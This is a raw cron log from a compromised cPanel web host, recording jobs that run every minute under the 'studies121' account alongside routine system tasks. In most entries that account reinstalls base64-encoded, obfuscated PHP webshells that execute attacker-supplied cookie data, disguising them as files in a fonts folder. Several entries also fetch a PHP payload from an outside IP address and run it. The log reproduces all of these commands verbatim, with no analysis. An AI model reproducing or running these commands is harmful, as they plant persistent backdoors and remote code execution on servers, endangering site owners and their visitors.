Sep  2 22:19:01 ip-184-168-122-23 CROND[20997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:19:01 ip-184-168-122-23 CROND[20998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:20:01 ip-184-168-122-23 CROND[21087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:20:01 ip-184-168-122-23 CROND[21088]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 22:20:01 ip-184-168-122-23 CROND[21091]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:20:01 ip-184-168-122-23 CROND[21093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:20:01 ip-184-168-122-23 CROND[21095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:20:01 ip-184-168-122-23 CROND[21094]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 22:20:01 ip-184-168-122-23 CROND[21096]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:20:01 ip-184-168-122-23 CROND[21092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:20:01 ip-184-168-122-23 CROND[21097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:21:01 ip-184-168-122-23 CROND[21210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:21:01 ip-184-168-122-23 CROND[21212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:21:01 ip-184-168-122-23 CROND[21213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:21:01 ip-184-168-122-23 CROND[21214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:22:01 ip-184-168-122-23 CROND[21294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:22:02 ip-184-168-122-23 CROND[21296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:22:02 ip-184-168-122-23 CROND[21297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:22:02 ip-184-168-122-23 CROND[21298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:22:02 ip-184-168-122-23 CROND[21299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:23:01 ip-184-168-122-23 CROND[21472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:23:01 ip-184-168-122-23 CROND[21476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:23:01 ip-184-168-122-23 CROND[21474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:23:01 ip-184-168-122-23 CROND[21475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:24:01 ip-184-168-122-23 CROND[21558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:24:01 ip-184-168-122-23 CROND[21560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:24:01 ip-184-168-122-23 CROND[21559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:24:01 ip-184-168-122-23 CROND[21561]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:24:01 ip-184-168-122-23 CROND[21563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:25:01 ip-184-168-122-23 CROND[21653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:25:01 ip-184-168-122-23 CROND[21656]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 22:25:01 ip-184-168-122-23 CROND[21655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:25:01 ip-184-168-122-23 CROND[21657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:25:01 ip-184-168-122-23 CROND[21658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:25:01 ip-184-168-122-23 CROND[21659]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:25:01 ip-184-168-122-23 CROND[21660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:26:02 ip-184-168-122-23 CROND[21756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:26:02 ip-184-168-122-23 CROND[21758]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:26:02 ip-184-168-122-23 CROND[21759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:26:02 ip-184-168-122-23 CROND[21760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:26:02 ip-184-168-122-23 CROND[21761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:27:01 ip-184-168-122-23 CROND[21865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:27:01 ip-184-168-122-23 CROND[21866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:27:01 ip-184-168-122-23 CROND[21867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:27:01 ip-184-168-122-23 CROND[21868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:28:01 ip-184-168-122-23 CROND[22036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:28:01 ip-184-168-122-23 CROND[22039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:28:01 ip-184-168-122-23 CROND[22040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:28:01 ip-184-168-122-23 CROND[22038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:28:01 ip-184-168-122-23 CROND[22041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:29:02 ip-184-168-122-23 CROND[22119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:29:02 ip-184-168-122-23 CROND[22122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:29:02 ip-184-168-122-23 CROND[22125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:29:02 ip-184-168-122-23 CROND[22127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:30:01 ip-184-168-122-23 CROND[22207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:30:01 ip-184-168-122-23 CROND[22208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:30:01 ip-184-168-122-23 CROND[22206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:30:01 ip-184-168-122-23 CROND[22212]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:30:01 ip-184-168-122-23 CROND[22211]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:30:01 ip-184-168-122-23 CROND[22214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:30:01 ip-184-168-122-23 CROND[22217]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:30:01 ip-184-168-122-23 CROND[22221]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 22:31:01 ip-184-168-122-23 CROND[22306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:31:01 ip-184-168-122-23 CROND[22308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:31:01 ip-184-168-122-23 CROND[22309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:31:01 ip-184-168-122-23 CROND[22311]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
